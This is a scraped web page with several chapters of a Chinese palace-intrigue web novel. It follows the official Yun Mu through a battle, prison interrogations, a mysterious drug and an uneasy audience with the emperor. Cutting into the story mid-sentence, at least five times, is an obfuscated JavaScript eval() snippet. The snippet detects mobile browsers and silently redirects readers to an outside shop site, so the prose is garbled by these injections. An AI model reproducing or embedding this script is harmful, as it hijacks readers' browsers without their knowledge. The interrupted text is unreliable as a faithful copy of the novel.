卢靖眼里闪烁着光,他舔了舔后槽牙:“爹,兰百长,能否活捉云暮,让我报当初的牢狱之仇?” 卢宏把兰维支走,独独留下卢靖:“靖儿,杀害云暮一事太过冒险,若东窗事发,卢家万劫不复啊。” 卢靖无所谓,他只想把云暮弄到手。 见他爹不愿意,他撸起袖子,露出还未好全的伤口:“爹,当初孩儿差点死在他手下,你当真能忍?若怕事发,在活捉云暮后,再把兰维他们杀了就是,反正死人不会说话,卢家还能借此和皇上邀功。” 卢宏咬咬牙:“此事还得从长计议。” 卢靖恨不得今晚就抄家伙围住县衙∶“爹,再从长计议,云暮就要回京了,若是他把那些事捅到皇上面前,卢家在其他几个世家面前怎么抬得起头?” “你去把兰维叫进来。” “家主,云大人又来了。” 每次晚上有胡人去县衙找事,第二日云暮就以此为借口,全城搜捕,但每次都是直奔卢宅,把卢宅弄得人仰马翻又拍拍屁股走人。 让兰维莫要再派人去县衙,但对方就是不听,卢宏恨得牙痒痒,但又无可奈何,谁让对方手里有他想要的东西? 云暮看着卢宏拼命压制怒意,算是知道对方当初三天两头去县衙给她找麻烦时有多快乐了。 看见冯章在角落和她打了手势后,云暮忙把卢宏拉到一旁说些废话,引开他的注意。 “找到什么了?” 冯章摊开手,一枚长圆形药材静静躺在他的手心。 云暮拿过东西∶“兰维不给手底下的人碰,却把它给了卢宏?卢宏什么都不知道就敢用?” 冯章摸着下巴,良久才道:“兰维日日同他住在一起,有没有可能已经把药性告诉卢宏了?或许这东西本来就没有毒,先前是我们想岔了。” 云暮不语,她觉得事情没有这么简单。 又过三日。 夜色浓重,厚重的南门悄然打开,一批披盔戴甲的队伍无声入了涿州,领头之人赫然是消失多日的伍华。 浓重的墨色笼罩整个涿州,月影难觅,伍华搭弓射箭,将要去报信之人一一射杀。 当初他得了话,带着云暮的信物去邢州借兵,前几日已经到了涿州,为了不被卢家他们察觉,便暂时待在苍山上。得知卢家今晚要对他们动手后,云暮就把人召了回来。 已近丑时,寻常人家早早安寝,偶有瓦片响动,也只当是大风袭来。 卢府此时灯火通明,卢宏举杯敬兰维:“兰百长,承蒙相助,今夜过后,涿州城你我二人共治。” 兰维大笑,美酒入喉:“家主和少家主放心,我一定亲自把云暮活捉到卢宅,任凭你们解决。等人死后就把人挂到城门示众。阉人一个,也配和家主叫嚣。” 站在院中的两百余人效仿兰百长饮酒摔碗。 卢家早已迁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632362|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至京城,卢宏虽为家主,但手段能力都比不上其他房,于是早早致仕回涿州当土皇帝。可惜这么多年他怕被人抓住把柄,只养了几十个护院,但这些也足够杀云暮了。 丑时一刻,一句“县衙走水”惊动了整个涿州,人们提水欲出,又转身回房,将门窗闭紧,敛气收声。 兰维带人把县衙团团围住,看着云暮领着十余人镇守,叉腰大笑。他带来的胡兵骁勇善战,以一敌百,云暮必死无疑。 提着云暮脑袋向沈聿明邀功的幻象浮现在眼前,兰维搓了搓手,抽出腰间弯刀。 云暮记忆中的身影并不能和他重叠,但腰间挂着的匕首如出一辙。她的心沉了下去,面上却饶有闲心地同冯章他们玩笑:“咱兄弟几个莫不是和涿州犯冲,才来多久,被围了不下三次,还真是命途多舛。” 冯章笑道:“没想到大人出了京城还是这般招人嫌,哎哟,哪个王八犊子敢踹你爷爷?” 宋枫手脚从他身后走出:“大人莫听他胡诌。” 兰维被无视,怒不可遏:“你们去黄泉路上再聊也不迟。” 话落,他操着弯刀朝云暮奔来。 云暮抽出剑迎了上去。兰维长得威猛,力气也大,长剑和弯刀相碰,震得云暮虎口发麻,几个胡兵渐渐走近。 突然惨叫一声,宋枫自右边杀出,正中胸口。 一个倒了,另一个又补上,把背靠背站着的两人围在中间,插翅难逃。 兰维叉腰大笑,弯刀在肩上敲了几下:“云暮,束手就擒吧,跪地求饶的话,可能也没有用,因为,想让你死的不止我一个。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第十三章 回忆 追至半山腰,只剩两个活口。把其中一个解决掉,兰维已经没了踪影。忽闻前方传来谈话声,几个手持刀棍的中年男人正和兰维对峙。 听见云暮追来的动静,他丢下一句‘杀了他’,继而往深山里逃。 几人得了沈聿明的吩咐,又见对方腰间的天子令,当即弃甲曳兵表忠心。 云暮才要追上去,一个带着青面獠牙面具的“胖男人”把兰维打了回来:“大人可是要抓这个贼人?” 男人声音尖细,饶是云暮这个听惯太监声音的人都觉得刺耳∶“你闭嘴,不许说话。” 兰维背靠大树,心底发慌,这伙山匪不是他家公子设的埋伏吗? 他朝“胖男人”喊道:“我是兰维,沈聿明不是让你们来帮我的吗?” “胖男人”把一颗人头丢在他面前:“他?” 兰维不可置信地捧起那颗头颅,心道,完了,兰氏要完了。 “我要杀了你们给公子报仇。” 闪电乱挥划破天际,雷声如鼓落在耳畔,风在淅沥的雨声中肆虐。 冯章连夜把参与刺杀一事的人都拘了起来,誓死不从者就地斩杀,此刻的牢房挤满了人。 云暮靠在椅背上,闭眼听着他们的咒骂。来来去去都是那几句阉人乱政,和京城那帮人骂的没有什么分别,半点新意都没有,听得耳朵都要起茧子了。 长满倒刺的长鞭每甩动一下,宽大的衣袖就会漏出一截素白的手腕,在昏暗的牢房分外惹眼。 宋枫端着药站在一侧,辱骂声不绝于耳,杀意稍纵即逝,他没分给被捆在刑架上的人一个眼神,他避开地上黏腻的血:“大人,牢狱阴冷脏污,不如出去喝?” 云暮坐直了身体,接过药碗一饮而尽:“当初在诏狱吃住也是常事,难道这里比诏狱瘆人?” 两人的手一触即分,但冷意久久留在宋枫的指尖,他手指微蜷,四下张望寻找火盆。 火舌舔舐木柴,红色的火光映在云暮苍白的脸上,多了几分血色。宋枫不时抬头看云暮,在被他发觉之前又低头拨弄火堆。 “大人,人都抓住了,兰维也死了,你怎么看着不太高兴?” 云暮吐出一口浊气,眼底多了一丝茫然。 昨夜她在苍山审了兰维一夜,不管用什么手段,他不曾吐出半点有用的消息,还趁着她不备撞柱而死。一早回来,身上的湿衣来不及换下,又单独提审了两个还活着的什长,也是一问三不知。好不容易发现的线索,此刻又断了。 看着进气少出气多的什长,云暮心想,难道还要等下一个十年吗?她还等得起吗? 拖着病体撑到现在,靠的就是从兰维口中撬出幕后真凶,如今念想一断,她再也压不住喉间的痒意,咳得撕心裂肺,眼前一阵阵发黑,云暮软软地往前栽去。 宋枫神色一变,顾不得尊卑,懒腰把人抱起就要往外走。 几米开外的一间牢房里,卢靖的视线一直追随着云暮,眼神阴鸷狠厉。 云暮再次醒来,已是深夜,床头还放着一套干净的衣物。更衣换药后,她推门而出,循着灯光去了厨房。 冯章煎药,伍华烧火,宋枫擀面,袁州在炒浇头,忙得热火朝天,不时玩笑几句。 冯章轻轻扇着炉火:“这几日日夜奔波,好不容易有人来支援,还以为能喘口气,结果小枫你倒好,把咱哥几个从床上都薅了起来。” 宋枫把面甩得邦邦响:“就属你话多,大人快醒了,你赶紧把药煎好晾凉,等会儿吃了东西好喝药。” 冯章听后,恨不得把手中的扇子抡出火花。 袁州不停地翻着手里的锅铲:“伍哥,火这么大,灶里是有兰维还是有卢宏?若想给大人报仇,不如去乱葬岗把尸体刨出来鞭尸?” 云暮∶…… 刚被香味勾出的馋虫因这一句话又退了回去。 伍华默默抽出了几分木柴,丢到旁边烧着热水的灶里。 …… 深宫里满是勾心斗角,一旦行差踏错就是万劫不复。看着他们插科打诨,云暮勾了勾嘴角,思绪也飘回多年以前。 出去宋枫是她捡回来的,剩下几人都是在金吾卫认识的。 云暮刚进金吾卫就是从四品的中郎将,阉人压人一头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632363|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁都不服,不仅恶语相向,还总借着切磋的名头想给她一个教训,结果反被云暮打趴。 几人真正交好是因为伍华发了高热。宫里的下人要看病,不仅得求爷爷告奶奶,还要再额外孝敬一笔钱。 几人家世不显,伍华更甚,一家老小都指着他那点月俸过活,几人好不容易凑够了钱,却逢贵妃身体不适,整个太医院的人都去了长乐宫。 冯章他们无法,只能求到云暮面前。云暮本想置之事外,但终究是狠不下心,悄悄从长乐宫回来。 彼时伍华已经烧得有些糊涂了,还是云暮拿了自己救命的药给他服下,又去太医院替他抓了好几天的药,才捡回了一条命。 这是说大不大,说小不小,可偏偏被有心人捅到了皇上面前,再加上贵妃从中挑拨。云暮受了好几天的刑,走着出去,抬着回来,人也没了半条命。 几人满心愧疚,不再针对云暮 ,最后还真成了过了命的兄弟。 从回忆里抽出身,见他们又要吵起来,云暮轻咳了一声,几人齐刷刷地看向门口。 厨房内,咳嗽声四起,云暮失笑,把冯章赶到一旁,撩起衣袍坐在了药炉前。 “咳咳咳,这次回京的赏赐都要被你们咳没了。” 几人顿时收声,转眼不知是谁先笑了出声,之后又一发不可收拾。 云暮失语摇头,不再管他们,自顾自地揭开药罐盖子,轻嗅了几下:“谁开的药?” 冯章本想凑近闻闻,却被宋枫从后揪住衣领,动不了分毫,只能边解救衣领边答:“你的药吃完了,我们也不知道方子,只能请城中百杏林的大夫来看,他给开了这个药,怎么了?” 云暮想倒出药渣,却反被药罐烫了手:“药味不对,你们灌我喝了?” 宋枫端来一盆凉水给他泡手:“不曾,你中午服的药是从京城带来的最后一剂。” 他又扭头看向冯章:“冯哥,我记得大夫多开了一副药?” 冯章一拍脑袋:“瞧我这脑袋,都给忘了,我去拿。” 云暮从竹筐里挑出一个长圆状的药材,心里激起波澜。 第十四章 送药 宋枫空手跑了出去,再回来时,手里多了几个和云暮手中一模一样的东西。 冯章和伍华面面相觑,他们不负责肉铺一事,并不知晓。 袁州解释道:“这是从肉铺给的料包里拣出来的,不知是何物,也不知功效,应是从胡人手里流出来的。” 冯章冷汗直流,跪在了云暮面前,语气惶恐:“大人,我不知晓。” 还好被云暮发现了,药性如何尚且不知,若是云暮喝下去有个好歹,他多少个脑袋都不够掉的, 云暮踢了踢他,示意他起身:“你不认得草药,这不怪你,若不是此药有异香,我也不会察觉。” 宋枫拿起剑就要往外走去:“定是有人唆使他陷害大人,我去把那歹人抓回来严刑拷打。” “这是何物?” 宋枫把东西拍在大夫面前。今儿一早他就去百杏林门口等着,人一出现就扣下。 大夫看看凶神恶煞的宋枫,又看看面无表情的云暮,突然跪在了地上。 前儿夜里的动静他听得一清二楚,又连夜拘了这么多人,听说乱葬岗里都是新鲜出炉的尸体。 这了半天,也说不出个所以然。他本就是个半路出道的大夫,名医的招牌也是拿钱打出去的,他如何得知?但这些话要是说出来,他这条小命就得交代在这了。 “草民也不知这是何物,草民号脉时发现云大人郁结于心,想到服用此药能令人开怀,这才想到拿它入药,大人用了药觉得身体不适?” 什么都不知道还敢拿来入药,还是给云暮用,宋枫气得剑都拔出一截了。 云暮见人被恐吓住,两指一点,把剑推了回去:“大夫如何得知此物的药性?” 提到这个,大夫突然起了兴致,有些洋洋得意:“不过是猜测罢了,草民每每用了林氏肉铺的羊肉,就能暂时忘记烦心事。草民用过几次,身子并无不适,这才敢入药,可惜不可多得。” “为何?” 大夫很是遗憾,早知不多,他当初就该多买些羊肉:“此药难寻,肉铺道前两日就卖完了,涿州城内再也寻不到咯。” 云暮看未必。 “此药何处可寻?” 李北装傻充愣:“大人,冤枉啊,下官并不知晓这是何物,怎知去何处寻它。” 云暮挥挥手,宋枫熟练地给人上刑,刑具用了大半,一问还是不知晓。 耐心告罄,云暮用铁尺抬起李北低垂的头,猝然被他啐了一口,好在铁尺够长且云暮躲闪得及时,这才没落到脸上。 铁尺落在李北的脸上,云暮打得手酸了才停下,李北已经没了动静。 “知县渴晕了,去取些水来。” 盐水混着辣椒水泼上伤痕累累的身体,李北的惨叫声响彻牢房。 云暮抖了抖溅到衣摆的水:“醒了?可愿招供?” 李北疼得嘶嘶吸气:“云大人,你这是要屈打成招啊,可下官实在不知,如何招供?” “换人。” 一个不说那就换一个,牢里不止李北一个李家人,总有人遭不住。 李北的兄嫂没挨几下就把知道的都招了。 “那东西是胡人拿来的,草民也不知晓有何用处,只是按着他们的吩咐做事,混进常用的调料里,不易被人察觉,只是李北不许我们用这些东西。” “为何?”倘若真对身体有益,李北没道理不给家人用。 “草民也不知啊,李北从不许我们多问。” 好几次话到嘴边,又被李北咽了下去。好在李南知道的不多,靠着这些,云暮查不到背后之人。他死了没什么,若是牵扯到宫里的那位娘娘,他的九族就该被夷了! 云暮已然想到这点,她靠近李北:“知县大人,你不敢说出实情,是因为背后之人是圣上还是丞相……” 把朝中叫得上名字都都说了个遍,对方还是没有半分波动,她把目标锁定在了后宫,皇后二字还没出口,李北再也撑不住,断了气息。 云暮咬紧了后槽牙,除去卢家,其他人死的死,线索断的断,涿州跟她犯冲! 她气得又抽了几鞭。 陈源面色匆匆地走进:“大人,门外有位姓沈的公子求见。” 他这几日忙于收集卢家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632364|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的罪证,忙得脚不沾地,但多年的仇恨即将得报,他兴奋地整晚都睡不着觉,日日烧香告慰地下之人。 云暮瞥了他一眼,其余人眼下都挂着青黑,也就陈源神采奕奕,心想,忙起来好啊,看来得让手底下的人忙起来。 沈聿明经常夜闯县衙,但青天白日从正门进来还是第一次。 云暮人未到声先到:“沈公子这般好奇,不如留住几日?” 沈聿明收回放在花上的手,起身行礼:“云大人,冒昧上门,叨扰了。” 云暮几步跨进正堂:“怎么来了?想到要什么赏赐了?” 沈聿明从怀里拿出一包东西:“昨日没听到县衙有什么动静,草民猜测是大人冒雨回城受了风寒。这些药是草民在深山里采的,大人看看能不能用得上。” 新鲜、晒干的都有,云暮扫了一眼他衣摆上沾的泥,淡淡道:“沈公子费心了。” 她身边从来不乏费 心讨好之人,哪怕和沈聿明有了过命的交情,她还是不知对方底细,哪敢轻信? 沈聿明垂眼看云暮,不知对方怎么突然冷了脸,难不成对方怀疑他在药材里下了毒?他下意识想解释却又在话出来前闭了嘴。 两人僵持谁也不想先开口,最后还是沈聿明忍不住嘀咕了一句。 云暮余光落在门外,不知何时又飘起了细雨。听到沈聿明的声音,她随口接了一句:“你说什么?” 沈聿明还没好气道∶“没什么,就是不知道大人那日的承诺可还算数?” 苍山上,大雨兜头浇了下来,兰维见‘沈聿明’身死,打算鱼死网破。云暮没想到兰维竟然有手铳,她挨了一下,脚下动作慢了几分,被兰维抓住了破绽,沈聿明为了救她,硬生生抗下了兰维的一刀,又替她挡了手铳的攻击。 云暮不是个会过河拆桥的人,合作加上救命之恩,沈聿明便是要她全部身家她也得应下∶“当然,只要在本官的能力范围内,无所不应。” 云暮已经做好了对方狮子大开口的准备了。 “沈某希望大人把苍山的一十二人一同捎回京,再替我们寻一处宅子。” 第十五章 送你下山 以皇帝对她的宠信,沈聿明就算是想封侯拜相,也不过是她一句话的事,不想对方只是提了这么小的要求:“就这?你看不起本官?” 沈聿明笑笑:“这些已经足够,我等原先也是良民,只是世道艰难,不得已才落草为寇。山上只有沈某略懂一些拳脚,只是护不住这么多人,若有大人相助,我们定会平安到京。” 云暮没有一口应下,反倒是盯了沈聿明许久,久到沈聿明以为对方看出了些什么,他硬着头皮出声:“大人可是有什么难处?” 云暮收回眼∶“没有,容本官考虑几日,回京之前定会给沈公子一个答复。” 沈聿明捉摸不透他的想法,不敢多说,恐他生疑,只能暂且告退。 人一走,宋枫端着一壶温水走出:“大人,上次就是他拿酒来的吧。” “什么?”近来事忙,云暮记不清是哪件。 宋枫言简意赅,:“梨花白。” 云暮这才想起:“你说那个啊,是他,你不说我都忘了。” 又叮嘱道:“他一直在涿州生活,并不知晓宫里的事,你莫要去找他麻烦。” 这小子,惯会在她面前卖乖,若无故去把人打一顿,她又得多许人一个承诺。 宋枫闷闷地哦了一声。 云暮无暇顾及,她在思考沈聿明带人进京的用意。对方给的理由根本站不住脚,冀州之外,便是京城,山匪不至于蠢到在官道上抢劫。 想起苍山上的那些山匪,虽有些年事已高,但步履矫健。那日晚上手握刀剑的样子,看着就是练家子。 沈聿明为何说只有他略懂拳脚? 难道这些人的身份不能摆在明面上,需要她做掩护?凭她的身份和腰间的令牌,守城的侍卫谁敢查她的队伍。 京城的水本来就深,她丢几颗石子下去,应该无碍吧? 云暮端坐在台上,手中惊堂木一拍,公堂两侧的衙役以棍敲地。 “威武。” 惊堂木再拍,全场肃静。 “堂下何人,所告何事?” “草民李明状告知县李北勾结胡人……” “民女刘红、谭英……状告卢家伙同知县强抢民女,杀人抛尸……” “圣旨到!” 才还了李明清白,还没来得及审地牢一案,蒋其手持圣旨出现在县衙门口。 “云暮接旨。” 云暮并不意外,从容跪地领旨。 “奉天承运皇帝,诏曰∶卢宏一家欺上瞒下,蔽塞朕聪,罔上负恩,本当就地斩立决,然朕念及卢宏效劳有年,故此案移交大理寺,卢宏一家进京候审,钦此。” 云暮双手举过头顶,稳稳接过圣旨。卢宏愣神片刻,再抬头时,得意大笑:“云暮,皇上顾及卢家的颜面,你能奈我何?” 云暮不愿与他废话,挥手让衙役把人押下去。前来喊冤状告的姑娘们瘫在长辈的怀里,面如死灰:“大人,我们不告了。” 民与官斗,孰赢孰输,一目了然。 云暮清退场上之人,只余愤懑的冯章几人。 “人证物证俱在,只差一步之遥,诸位也要放弃吗?” 刘红很是绝望,她忘不了那些对她指指点点的人,受不了别人异样的眼光,本以为能报仇雪恨,不料皇帝要保下卢家,她们这些人还有活路吗? 刘红被愤怒冲昏头脑,口不择言∶“那是圣旨,大人你不过是一个阉人,再怎么权势通天,还能做得了皇帝的主吗?” 众人中,唯有云暮脸色未变:“你们想必在涿州也待不下去了,不如去京城散心,本宫在京城有一处三进的宅子,可暂时供你们落脚。若卢宏真有反扑的机会,本官便托人送你们走,他们不会再有你们的消息。” 前几日得了蒋其的信后,云暮才决定今天升堂,还要在蒋其到来之前还李明一个清白。 皇族和世家的恩怨由来已久,二者相互牵制,若他随意斩杀卢宏,恐卢家借机联合其他世家生事,这也是他迟迟不升堂的原因,回想卢宏的得意神态,云暮不禁嗤笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632365|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转念一想,就算卢家有从龙之功,只一个和胡人勾结,意图换朝的罪名,足以让生性多疑的梁文帝把卢家屠个一干二净,其余几个世家不趁机分杯羹就不错了,怎会冒着风险为他们求情? 卢宏还真是老了,连人性都看不清了,天要他亡,谁能力挽狂澜?不过是让他们苟延残喘几天罢了。 这几个姑娘愿意继续上告,她也乐得助她们一把,若是不愿也无伤大雅,这几个罪名只是锦上添花罢了。 若卢宏动之以情,再求卢家人给他求情,没准还能留下一个人的命,只是不知道他会选自己活还是卢靖活。 云暮自桌后走出:“五日后回京,诸位不妨再考虑考虑,本官还有事就不留你们了。” 涿州城外,苍山。 “沈公子所求之事,本官允了。但须记住一点,到了京城我们一拍两散,井水不犯河水,你们若在京城惹出事端,又牵连到本官,本官第一个杀的就是你们。” 云暮语含警告。 沈聿明压下欣喜,拱手道:“多谢大人成全我等绝不惹事,大人还请放心。” 抬头瞥 了他一眼,很快又移开了,他没吃那些药吗?怎么过了这么多天还是这个病秧子的模样? 心里想的,也问出了声。 云暮怔了怔,倒是没想到他会问这个,下意识解释了一句∶“吃了,只是我身体弱,好得慢。” 沈聿明的心情更好了,钻进一旁的屋子,又给云暮包了一大包药,却不叫他拿:“走吧,我送大人下山。” 五日转瞬即逝,大军整装待发,新上任的县令站在城门相送,两侧站满了百姓。 涿州百姓长久被卢家和知县欺压,早就不满,只是要仰其鼻息,卢家现在虽暂时成了鱼肉,但他们也不敢得罪,否则卢家卷土重来之时,他们的日子就更难过了。 来时轻装简从,一路巡至涿州也不过月余,走时声势浩大,抵达邢州竟花了个把月。 不远处,知州董伊一身戎装,率兵驻守城门。 第十六章 夜半谈话 云暮飞身下马,扶起跪地的董伊:“人给你全须全尾地带回来了,别肃着张脸。” 董伊看他没事,这才露出笑颜:“我生怕这一路运来的是棺椁,没想到祸害遗千年。” 云暮和他并肩而立,和他一同感慨:“可不是,回头可少不了来祸害你的。” 她和邢州的知州董伊交好,当日伍华就是拿着她的身份玉牌来邢州借兵增援,今日她将邢州兵如数奉还。 董伊的目光被缀在队伍后的一行人吸引,指着沈聿明问道:“你什么时候好男色了?” 说罢,他往一旁挪了挪。 云暮一言难尽地看着他,浓眉黑脸,一个董伊的身量能顶两个她,她真下不去嘴。 她伸手就是一巴掌:“想什么呢,他在涿州帮了我的忙,我顺路送他进京。” 董伊狐疑地看着他:“你什么时候这么好心了?” 不忍了。云暮踢了他一脚:“我当年就不该好心。” 董伊自知失言,忙作揖赔笑。 沈聿明似是察觉到他们在说他,扭头正好对上云暮的视线,朝二人点头示意,就跟着人进城了。 董伊推着人往城里走:“走吧,虽然皇上急着让你回京,但大军也要休整。今儿我做东,洗洗风尘。” 深夜,整个邢州都陷入沉寂,衙役巡夜时,几声犬吠遥遥传来。 席间被董伊灌了不少茶,云暮半点睡意都没有,索性搬了张躺椅去院里躺着,望着满天繁星,感觉时间都放慢了脚步。 不多时,身旁传来声响。云暮转了个脑袋,和躺在她身边的沈聿明四目相对。 沈聿明弯了弯眼:“吵到你了?” 云暮嗅了嗅:“你喝酒了?” 沈聿明双手枕在脑后:“嗯,在席上和董大人喝了几杯。大人,你身边的人说你不喝酒,为什么?” 这不是什么秘密,云暮大方地告诉了他:“不过是喝了会死罢了。所以想杀本官的话,不用费尽周折去下毒,只需灌本官一壶酒即可。” 沈聿明:…… 他接连两次劝酒,云暮都没有把他当仇家打死,最后还和他合作,云暮还挺随和?但很快这个想法又被他否决了。 云暮要真的随和,就不会恶名在外了。 两人有一搭没一搭地聊着,云暮开始有了困意。 沈聿明试探道:“大人和董大人关系还挺好?” 云暮闭眼答他:“在你眼里,本官身边全是利来利往之辈?” “多年前,本官自江南回京,在路上遇到一个被山匪打劫的穷书生,随手救了他,又捎他进京,那穷书生就是董伊。” 沈聿明嘴角微微抽搐:“说句大不敬的话,董大人比草民更像山匪。” 身旁落了一声轻笑:“他当年也是个俊俏书生,比起你倒也不差。” 云暮没说的是,当年是有人特意雇来山匪杀害董伊,抢他盘缠不过只是顺带。 董家常年受人欺压,好在董伊争气,中了解元,那人恐董伊高中当官后报仇,花钱雇了山匪,让他们在董伊进京赶考的路上把人除掉。 不料正碰上从江南回京的她,她出手相救,她当年不过十五岁,如何敌得过一帮人高马大的山匪,硬是挨了几刀才把那几个山匪灭了,但也疼晕了过去。最后还是被董伊的哭声吵醒的,不知道的还以为是给爹娘哭丧。 当官前后判若两人,要不是亲眼看着他长成这样,她都要怀疑董伊被人调包了。 凉嗖嗖的风打在身上,云暮拢紧了身上的斗篷,正好此事宋枫站在廊下唤她,便顺势起身回屋:“沈公子,你也早点歇息,明早还要赶路。” 沈聿明目送云暮回去,又换了个姿势继续躺,没多久就等来了人。 宋枫冰冷的眼里带着厌恶:“沈公子,你身份特殊,还是离大人远点为好。” 沈聿明不以为意:“本公子不过是一个弃匪从良的良民罢了,能有什么特殊的身份?大人敢把这句话告诉云大人吗?” 宋枫气结:“你!” 这一路上,宋枫总是有意无意地针对他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632366|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每当他和云暮在一处时,对方总是找各种借口把人喊走。 沈聿明忍了他许久,不想今日他又来找事。 “你不敢,因为你和我一样,都是有目的地接近他。但我们也有一点不同,大人知道我的目的,所以才放任我留在身边。你呢?他知道你的目的后,你会死得很惨吧?” 戳完痛处,沈聿明脚下生风般走了,方才那些话都是他诈出来的,没想到竟被他说中了,甚至幸灾乐祸地想,云暮知不知道她养了个叛徒? 翌日早上,云暮出了房门就看见沈聿明和宋枫一左一右站在她门前,宛若辟邪的门神。这两人一直不对付,今天居然能这么和气的待在一处,实在是稀奇,但她也没多问,只当二人闲得发慌。 “走吧。” 眼看队伍渐行渐远,云暮打马跟上:“董兄,借兵之恩没齿难忘,以后若有用得上云某的地方,尽管开口。” 董伊笑着对马腚就是一鞭:“云大人,皇上急着要您回京,您走好咯。” 这次快马加鞭,终于在一个月后抵达了京城。 大理寺卿程文博早早得了消息,此刻带着人在城门口接应。云暮和他寒暄了几句,又指马车里的姑娘说道:“你派人去游说一番,没准卢宏他们还能多几条罪名。” 程文博秉公持法,尤其恨欺男霸女之事,她倒是不担心对方徇私。 把卢宏一行人移交大理寺后,云暮不紧不慢地回府换了身月白色阔袖蟒纹袍才入宫述职。 “奴婢擅自做主查抄了涿州卢家,还请皇上恕罪。” 梁文帝坐在龙椅上,垂目看着云暮,好几个月没看见人,他的腰好像更细了。 良久,文帝才问了一句:“朕不过是想让你外出散散心,你怎么就和卢家对上了?” 云暮无声冷笑,皇帝早就想料理卢氏,故而让她微服私访,就算这次去涿州什么都没发现,她也会想方设法给卢家安上一个罪名。 她什么也没说,只把身子压得更低,肩头及地,伤口撕裂沁出的血染红了月白色的衣袍。 第十七章 进宫 梁文帝眼神暗了暗,亲手把人扶起:“王全,宣太医!” 云暮伸手拦住王全,眼睛却看着梁文帝:“皇上,伤势无碍,来之前奴婢处理过了,不用叫太医。” 见他坚持,梁文帝也不勉强,但手却一直在伤口处流连:“朕不过是问一句,你惶恐什么?” “朕看你郁郁寡欢,让你借着微服私访的名头出去走走,你倒好,抄了卢家也就算了,怎么还让自己受了伤?谁伤的你?” “朕有没有同你说过,不要让朕知道你受伤?” 每问一句,手便用一分力,云暮大半个肩头都被血染红,但还是一声不吭。 梁文帝喜欢折磨人,更喜欢被折磨的出声求他,只要人没有反应,不过一会儿他就没了兴致。 见云暮还是毫无波澜,梁文帝的邪念散了几分,转而把人拉到榻上:“陪朕下棋,你不在,朕都不许人动。” 云暮几欲作呕,借着拈棋抽回手。 梁文帝捻了捻指,感受着还留在上面的细滑,又沉沉地盯着他越发纤细的腰,心里邪火又起。 王全端着一盅汤走进,已经见怪不怪了。心里却骂,靠着男色上位的恶心货。又恨自己相貌身段不及云暮,否则这金吾卫首领该是他来做了。 心里都把人扒皮抽骨了,面上却谄媚地把汤放到云暮手边,极尽讨好:“云大人,这是皇上特意让御膳房留的,半点酒都没加。” 云暮掀开盖子,药膳的味道溢满勤政殿。 “这是什么?” 梁文帝出声解释:“这是御膳房新研制出来的汤品,朕喝着觉得不错,知道你今日要进宫,一直在御膳房煨着呢。” 说着,他的眼睛又落到了云暮的腰上:“你这腰身越发纤细,多进补些,免得出去有人说朕苛待能臣,往后谁还会真心实意替朕办事?” 云暮虚伪道:“谁敢乱嚼舌根,奴婢定拔了他的舌头。” 不知名的药材出现后,云暮在饮食上更加谨慎。那东西能在涿州流通,那也能出现在京城。搅了两下,除去药味就是肉味,她辨不全药材。 她没动那道汤:“皇上,奴婢前几日受了寒,正吃着药,怕药性冲撞伤了身子,能否劳烦王公公跑一趟御膳房,把药渣取来?” 梁文帝温声道:“怎么不是受伤就是受风寒?你搬到朕的偏殿来住,你一个在宫外,朕不放心。” 天朗气清,却无端打起了闷雷。 